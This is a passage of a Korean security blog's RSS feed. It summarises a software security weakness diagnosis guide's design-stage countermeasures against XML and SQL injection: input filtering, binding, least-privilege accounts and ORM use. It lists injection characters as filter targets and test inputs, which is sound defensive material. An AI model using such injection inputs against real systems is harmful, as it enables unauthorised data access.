&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7p890/btrIkpiBF1K/nF7S8WAijnCqFPSzJ1YMo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7p890/btrIkpiBF1K/nF7S8WAijnCqFPSzJ1YMo1/img.png&quot; data-alt=&quot;XML 삽입&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7p890/btrIkpiBF1K/nF7S8WAijnCqFPSzJ1YMo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7p890%2FbtrIkpiBF1K%2FnF7S8WAijnCqFPSzJ1YMo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;261&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;XML 삽입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설계 시 고려사항(보안 대책)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 대책의 세부 내용 입니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;1. XML문서를 조회하는 기능을 구현해야 하는 경우&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;XML질의문에 사용되는 파라미터&lt;/b&gt;는 반드시&lt;br /&gt;&amp;nbsp; &amp;nbsp;XML쿼리를 &lt;b&gt;조작할 수 없도록 필터링해서 사용&lt;/b&gt;하거나,&lt;br /&gt;&amp;nbsp; &amp;nbsp;미리 작성된 질의문에 &lt;b&gt;입력값을 자료형에 따라 바인딩해서 사용&lt;/b&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[고려사항]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. 공통 검증 컴포넌트를 이용한 입력값 필터링&lt;br /&gt;&lt;/b&gt;- 외부입력값에서 XML삽입 공격이 가능한 문자열들을 필터링하는&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;Validator 컴포넌트를 개발&lt;/b&gt;&lt;/u&gt;하여 XML조회를 수행하는 애플리케이션 작성시&lt;br /&gt;&amp;nbsp; &lt;b&gt;입력값에 대한 검증 작업이 일괄 적용되도록 설계&lt;/b&gt;한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 필터 컴포넌트를 이용한 입력값 필터링&lt;/b&gt;&lt;br /&gt;- &lt;u&gt;&lt;b&gt;Filter컴포넌트&lt;/b&gt;&lt;/u&gt;에서&lt;br /&gt;&amp;nbsp; XML 삽입 공격에 활용될 수 있는 입력값(&amp;ldquo;, [, ], /, =, @)을&lt;br /&gt;&amp;nbsp; 필터링하도록 작성하여&lt;br /&gt;&amp;nbsp; &lt;b&gt;전체 요청 또는 XML필터링이 요구되는 요청&lt;/b&gt;에 대해&lt;br /&gt;&amp;nbsp; &lt;b&gt;프레임워크에서 일괄 적용하도록 설계&lt;/b&gt;한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 개별 코드에서 &lt;u&gt;입력값 필터링&lt;/u&gt;하도록 시큐어코딩 규칙 정의&lt;br /&gt;&lt;/b&gt;- 각각의 컴포넌트에서&lt;br /&gt;&amp;nbsp; 입력값에 대해 XML삽입을 발생시킬 수 있는 문자열(&amp;ldquo;, [, ], /, =, @ 등)을&lt;br /&gt;&amp;nbsp; 제거 또는 안전하게 치환하여 사용할 수 있도록&lt;br /&gt;&amp;nbsp;시큐어코딩 규칙을 정의한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. &lt;u&gt;안전한 API를 사용&lt;/u&gt;하도록 시큐어코딩 규칙 정의&lt;/b&gt;&lt;br /&gt;- XML 조회를 수행하는 질의문 작성 시&lt;br /&gt;&amp;nbsp; &lt;b&gt;외부입력값이 질의문의 구조를 바꿀 수 없는 API(예. Java API‐ XQuery)&lt;/b&gt;를&lt;br /&gt;&amp;nbsp; &lt;b&gt;사용&lt;/b&gt;하도록 시큐어코딩 규칙을 정의한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;진단 기준 및 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요구사항 1&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;XML문서를 조회하는 기능을 구현해야 하는 경우&lt;br /&gt;XML질의문에 사용되는 &lt;b&gt;파라미터&lt;/b&gt;는&lt;br /&gt;반드시 XML질의문을 조작할 수 없도록 &lt;u&gt;&lt;b&gt;필터링해서 사용&lt;/b&gt;&lt;/u&gt;하거나,&lt;br /&gt;미리 작성된 질의문에 입력값을 자료형에 따라 &lt;u&gt;&lt;b&gt;바인딩해서 사용&lt;/b&gt;&lt;/u&gt;해야 한다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- XML 조회를 위한 질의문(XPath, XQuery 등) 생성 시&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;사용되는 입력값과 조회결과에 대한 검증방법(필터링 등)을 설계&lt;/b&gt;&lt;/u&gt;하고&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;유효하지 않은 값에 대한 처리방법이 명시&lt;/b&gt;&lt;/u&gt;되어 있는지 &lt;b&gt;확인&lt;/b&gt;한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;[ 진단 방법 ]&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 외부 입력값이 XML 데이터 조회에 사용되는 경우,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;입력값이 조회 구문을 변경하지 않도록 보안 설계가 적용&lt;/u&gt;되어 있는가?&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1-1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항정의서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목에 대한 대책이 수립&lt;/b&gt;되어 있으며,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;아키텍처 설계서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목 적용계획이 수립&lt;/b&gt;되어 있고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항추적표&lt;/b&gt;로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구 사항 추적 가능 여부 확인&lt;br /&gt;&lt;/b&gt;- 산출물 검토 예시:&amp;nbsp; 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 XML조회에 사용되는 &lt;b&gt;외부 입력값&lt;/b&gt;을&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;안전하게 필터링하는 기능이 설계&lt;/b&gt;&lt;/u&gt; 되어 있거나&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;안전한 외부라이브러리를 사용하도록 설계&lt;/b&gt;&lt;/u&gt;되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시: 프로그램명세서, 컴포넌트설계서, 유즈케이스설계서, 클래스설계서 등에서 필터링 기능 검토&lt;br /&gt;&lt;br /&gt;1-3 XML데이터를 조회하는 기능 구현시,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;XML필터링을 적용하기 위한 코딩규칙&lt;/b&gt;이나&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;안전하게 사용할 수 있는 API에 대한 설명&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;개발가이드에 정의&lt;/b&gt;되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시: 개발가이드에서 코딩규칙 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;2. XML삽입 취약점을 점검할 수 있는&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;u&gt;테스트 계획이 수립&lt;/u&gt;되어 있는가?&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;2-1 XML조회 구문을 변경할 수 있는 &lt;b&gt;입력값을 사용&lt;/b&gt;하여&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;XML조회 구문이 변경 되는지를 점검&lt;/b&gt;하는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;테스트계획이 수립&lt;/b&gt;&lt;/u&gt;되어 있는지 확인&lt;br /&gt;[테스트 입력값]&lt;br /&gt;- 쿼리예약어, &amp;ldquo;, [, ], /, =, @ 등&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시: 단위테스트케이스 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;관련 산출물&lt;/b&gt;&lt;br /&gt;- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 프로그램명세서, 컴포넌트설계서, 유즈케이스 설계서, 클래스설계서, 단위테스트계획서 등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/SW보안약점 진단</category>
      <category>XML 조회 및 결과 검증</category>
      <category>소프트웨어 보안약점 진단가이드</category>
      <category>시큐어코딩</category>
      <category>입력데이터 검증 및 표현</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/166</guid>
      <comments>https://chmodi.tistory.com/166#entry166comment</comments>
      <pubDate>Wed, 27 Jul 2022 11:14:27 +0900</pubDate>
    </item>
    <item>
      <title>[설계 단계 - 입력데이터 검증 및 표현] DBMS 조회 및 결과 검증</title>
      <link>https://chmodi.tistory.com/164</link>
      <description>&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;소프트웨어 보안약점 진단가이드&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;2021.11&amp;nbsp;개정안 기준&lt;/b&gt;으로 작성&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;- 이후 내용이 수정될 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;&lt;b&gt;[항목]&lt;br /&gt;&lt;/b&gt;- DBMS 조회 및 결과 검증&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;[유형]&lt;br /&gt;&lt;/b&gt;- 입력데이터 검증 및 표현&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[기준]&lt;br /&gt;&lt;/b&gt;- DBMS 조회시 &lt;b&gt;질의문(SQL) 내 입력값&lt;/b&gt;과&lt;br /&gt;&amp;nbsp; 그 &lt;b&gt;조회결과&lt;/b&gt;에 대한 &lt;b&gt;유효성 검증방법(필터링 등)&lt;/b&gt; 설계 및&lt;br /&gt;&amp;nbsp; &lt;b&gt;유효하지 않은 값&lt;/b&gt;에 대한&lt;b&gt; 처리방법&lt;/b&gt;을 &lt;b&gt;설계&lt;/b&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[보안 대책]&lt;/b&gt;&lt;br /&gt;- 애플리케이션에서 &lt;b&gt;DB연결&lt;/b&gt;을 수행할 때 &lt;u&gt;&lt;b&gt;최소권한의 계정을 사용&lt;/b&gt;&lt;/u&gt;해야 한다.&lt;br /&gt;- &lt;b&gt;외부입력값이 삽입되는 SQL질의문&lt;/b&gt;을 &lt;u&gt;&lt;b&gt;동적으로 생성해서 실행하지 않도록&lt;/b&gt;&lt;/u&gt; 해야 한다.&lt;br /&gt;- &lt;b&gt;외부입력값을 이용해 동적&lt;/b&gt;으로 SQL질의문을 &lt;b&gt;생성해야 하는 경우&lt;/b&gt;,&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;입력값에 대한 검증을 수행한 뒤 사용&lt;/b&gt;&lt;/u&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[구현단계 관련 보안약점]&lt;br /&gt;&lt;/b&gt;- 입력 데이터 검증 및 표현 &amp;gt; SQL 삽입&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 개요: SQL 삽입(Injection)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스(DB)와 연동된 응용프로그램에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력된 데이터에 대한 유효성 검증을 하지 않을 경우,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 입력데이터에 &lt;b&gt;SQL 질의문을 삽입&lt;/b&gt;하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB로부터 정보를 열람하거나 조작할 수 있는 보안 취약점을 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;227&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjEjEs/btrIiKOyhyg/gKbAPKYsAkYyeH89JyeBt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjEjEs/btrIiKOyhyg/gKbAPKYsAkYyeH89JyeBt0/img.png&quot; data-alt=&quot;SQL 삽입 취약점&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjEjEs/btrIiKOyhyg/gKbAPKYsAkYyeH89JyeBt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjEjEs%2FbtrIiKOyhyg%2FgKbAPKYsAkYyeH89JyeBt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;402&quot; height=&quot;227&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;227&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;SQL 삽입 취약점&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설계 시 고려사항(보안 대책)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 대책의 세부 내용 입니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;1. 애플리케이션에서 DB연결을 수행할 때&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;최소권한의 계정을 사용&lt;/b&gt;&lt;/u&gt;해야 한다.&lt;br /&gt;- 취약한 애플리케이션으로 인해 침해사고가 발생하더라도&lt;br /&gt;&amp;nbsp; 나머지 부분에 대해 &lt;b&gt;공격자가 액세스 권한을 가지지 않도록&lt;/b&gt;&lt;br /&gt;&amp;nbsp; 애플리케이션에서 사용하는 &lt;b&gt;DB연결 계정&lt;/b&gt;은&lt;br /&gt;&amp;nbsp; 해당 애플리케이션이 사용하는&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;데이터에 대한 읽기, 쓰기, 삭제, 업데이트 권한만 설정&lt;/b&gt;&lt;/u&gt;한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;2. &lt;b&gt;외부 입력값이 삽입&lt;/b&gt;되는 SQL질의문을&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;동적으로 생성해서 실행하지 않도록&lt;/b&gt;&lt;/u&gt; 해야 한다.&lt;br /&gt;- SQL 질의문의 구조가&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;외부 입력값에 의해 변경되지 않는 API를 사용&lt;/b&gt;&lt;/u&gt;하도록&lt;br /&gt;&amp;nbsp; 시큐어코딩 규칙을 지정 한다.&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;ORM프레임워크를 사용&lt;/b&gt;&lt;/u&gt;하여 안전한 정적쿼리구조로&lt;br /&gt;&amp;nbsp; SQL문을 수행할 수 있도록 개발환경을 설정하고,&lt;br /&gt;&amp;nbsp; &lt;b&gt;ORM프레임워크에서 제공하는 함수를 활용&lt;/b&gt;하여&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;외부 입력값에 의해 SQL 질의문의 구조가 변경되지 않도록&lt;/b&gt;&lt;/u&gt; 한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;3. 외부 입력값을 이용해 &lt;b&gt;동적&lt;/b&gt;으로&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; SQL질의문을 생성&lt;/b&gt;해야 하는 경우,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;입력값에 대한 검증을 수행&lt;/b&gt;&lt;/u&gt;한 뒤 사용해야 한다.&lt;br /&gt;- &lt;b&gt;클라이언트와 서버 양측&lt;/b&gt;에서&lt;br /&gt;&amp;nbsp; 입력값에 대해 안전한 값만 사용될 수 있도록&lt;br /&gt;&amp;nbsp; &lt;b&gt;검증작업을 수행&lt;/b&gt;한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[검증 방법]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. 필터를 이용한 입력값 검증&lt;br /&gt;&lt;/b&gt;- 외부입력값에서 SQL삽입이 가능한 문자열들을 필터링하여&lt;br /&gt;&amp;nbsp; 안전한 값으로 치환하도록 하는 &lt;u&gt;&lt;b&gt;Filter 컴포넌트를 생성&lt;/b&gt;&lt;/u&gt;하고,&lt;br /&gt;&amp;nbsp; DB에서 관리하는 데이터를 처리하는 모든 애플리케이션에 일괄 적용한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 인터셉트를 이용한 입력값 검증&lt;/b&gt;&lt;br /&gt;- MVC프레임워크를 사용하는 경우&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;Interceptor 컴포넌트를 사용&lt;/b&gt;&lt;/u&gt;하여&lt;br /&gt;&amp;nbsp; 입력값에 대한 검증 작업을 수행한 뒤&lt;br /&gt;&amp;nbsp; 요청을 차단하거나 허용하는 정책을&lt;br /&gt;&amp;nbsp; 애플리케이션에 일괄 적용 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 라이브러리 또는 Validator 컴포넌트를 이용한 입력값 검증&lt;br /&gt;&lt;/b&gt;- 입력값을 검증하는 &lt;b&gt;Validator 컴포넌트를 공통코드로 생성&lt;/b&gt;하고,&lt;br /&gt;&amp;nbsp; 모든 개발자가 SQL질의문에 삽입되는 입력값에 대해&lt;br /&gt;&amp;nbsp; 검증작업을 해당 컴포넌트에서 수행하도록 시큐어코딩 규칙을 정의한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GraZH/btrIjPhvLqH/26E1lulq9eaiRtS1KcZmh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GraZH/btrIjPhvLqH/26E1lulq9eaiRtS1KcZmh0/img.png&quot; data-alt=&quot;입력값 검증 방법 및 위치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GraZH/btrIjPhvLqH/26E1lulq9eaiRtS1KcZmh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGraZH%2FbtrIjPhvLqH%2F26E1lulq9eaiRtS1KcZmh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;306&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;입력값 검증 방법 및 위치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;ORM(Oject-Relational-Mapping) 프레임워크&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;객체지향 프로그래밍의 &lt;b&gt;객체&lt;/b&gt;와&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;관계형 데이터베이스의&lt;b&gt; 테이블(스키마)&lt;/b&gt;을&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&lt;b&gt;연결&lt;/b&gt;하는 프레임워크입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;객체지향 프로그래밍은 &lt;b&gt;클래스를 사용&lt;/b&gt;하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;관계형 데이터 베이스는 &lt;b&gt;테이블을 사용&lt;/b&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기서 &lt;b&gt;객체 모델과 관계형 모델간에 불일치가 발생&lt;/b&gt;하게 되는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;ORM은 &lt;/b&gt;객체간의 관계를 바탕으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;u&gt;&lt;b&gt;SQL을 자동으로 생성하여 불일치를 해결&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_2.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xW4zP/btrIdeQHaot/MLQSfau9IOP6boBUqAZHbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xW4zP/btrIdeQHaot/MLQSfau9IOP6boBUqAZHbk/img.png&quot; data-alt=&quot;ORM 역할&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xW4zP/btrIdeQHaot/MLQSfau9IOP6boBUqAZHbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxW4zP%2FbtrIdeQHaot%2FMLQSfau9IOP6boBUqAZHbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;230&quot; data-filename=&quot;edited_2.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;230&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ORM 역할&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;ORM 종류&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발 언어 별로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 프레임워크가 존재합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;[JAVA]&lt;/b&gt;&lt;br /&gt;- JPA, Hibernate, EclipseLink, DataNucleus, Ebean 등&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[C++]&lt;/b&gt;&lt;br /&gt;- ODB, QxOrm 등&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Python]&lt;/b&gt;&lt;br /&gt;- Django, SQLAlchemy, Storm 등&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[iOS]&lt;/b&gt;&lt;br /&gt;- DatabaseObjects, Core Data 등&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[.NET]&lt;/b&gt;&lt;br /&gt;- NHibernate, DatabaseObject, Dapper 등 PHP : Doctrine, Propel, RedBean 등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;진단 기준 및 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
